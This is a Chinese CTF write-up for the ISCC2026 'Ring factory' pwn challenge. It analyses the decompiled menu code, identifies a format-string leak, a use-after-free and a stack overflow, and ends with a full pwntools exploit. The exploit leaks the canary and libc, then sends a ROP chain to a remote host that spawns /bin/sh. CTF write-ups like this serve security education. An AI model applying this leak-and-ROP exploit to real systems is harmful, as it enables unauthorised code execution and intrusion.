ISCC2026 pwn Ring factory
题目分析
保护全开
这里格式化漏洞,可以泄露canary,pie地址,libc地址
void__noreturnmenu(){intid;// eaxchars[4];// [rsp+4h] [rbp-Ch] BYREFunsigned__int64 v2;// [rsp+8h] [rbp-8h]v2=__readfsqword(0x28u);while(1){cls();puts("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n");puts("Welcome to my secret sling ring factory.");puts("What do you want to do today?\n");puts("1. Show Forged Rings");puts("2. Forge Sling Ring");puts("3. Discard Sling Ring");puts("4. Use Sling Ring");printf(">> ");fgets(s,4,stdin);fflush(stdin);putchar(10);id=atoi(s);if(id==4){use_slingring();exit(0);}if(id>4){LABEL_12:puts("Invalid input!");puts("Press ENTER to go back...");getchar();}else{switch(id){case3:discard_slingring();break;case1:show_slingrings();break;case2:forge_slingring();break;default:gotoLABEL_12;}}}}menu这里是个菜单,应该就是一个堆利用菜单题
show()函数是打印所有chunk内容,同时discard函数里free完没有指针归NULL,有UAF,所以可以打印free chunk的内容
intuse_slingring(){chars[4];// [rsp+Ch] [rbp-44h] BYREFchars_1[56];// [rsp+10h] [rbp-40h] BYREFunsigned__int64 v3;// [rsp+48h] [rbp-8h]v3=__readfsqword(0x28u);printf("Which ring would you like to use (id): ");fgets(s,4,stdin);fflush(stdin);atoi(s);printf("\nPlease enter the spell: ");fgets(s_1,256,stdin);puts("\nThank you for visiting our factory! We will now transport you.");returnputs("\nTransporting...");}这里还有个栈溢出
所以这道题就是利用格式化字符串来泄露canary,利用堆来泄露libc,然后栈溢出拿shell,还是非常简单的。
Poc构造
先用%7$p来泄露canary
然后构造poc,由于是glibc2.31,有tcache,需要先填满7个tcache,然后才能用fastbin
所以分配八个释放八个,注意还要跟top隔断,然后show即可,泄露libc
后面直接栈溢出就行
exp
frompwnimport*importsys exe=ELF("./pwn2_patched")libc=ELF("./libc-2.31.so")ld=ELF("./ld-2.31.so")context.binary=exe context.log_level='debug'local=0iflocal:p=process('./pwn2_patched')#gdb.attach(p)else:p=remote('39.96.193.120',10006)defforge(id,des,amount):p.sendlineafter(b'>> ',b'2')p.sendlineafter(b'rings!',str(id).encode())p.sendlineafter(b'location:',des)p.sendlineafter(b'(1-9):',str(amount).encode())defshow():p.sendlineafter(b'>> ',b'1')defdiscard(id):p.sendlineafter(b'>> ',b'3')p.sendlineafter(b'discard?',str(id).encode())p.recvuntil(b"What is your name?")p.sendline(b'%7$p')p.recvuntil(b'0x')canary=int(p.recv(16),16)log.info(f'canary ={hex(canary)}')foriinrange(10):forge(i,b'1',1)p.sendline()foriinrange(9):discard(i)show()p.recvuntil(b'Ring Slot #7 | [144] | ')leak=u64(p.recv(6).ljust(8,b'\x00'))print(f'leak ={hex(leak)}')libc_base=leak-0x1ECBE0log.info(f'libc_base ={hex(libc_base)}')system_addr=libc_base+libc.sym['system']bin_sh_addr=libc_base+next(libc.search('/bin/sh'))pop_rdi_addr=libc_base+0x0000000000023b6aret_addr=libc_base+0x0000000000022679p.sendline()p.sendlineafter(b'>> ',b'4')p.sendlineafter(b"Which ring would you like to use (id): ",b'6')payload=b'a'*0x38+p64(canary)+p64(0)+p64(ret_addr)+p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr)p.sendlineafter(b"Please enter the spell: ",payload)p.interactive()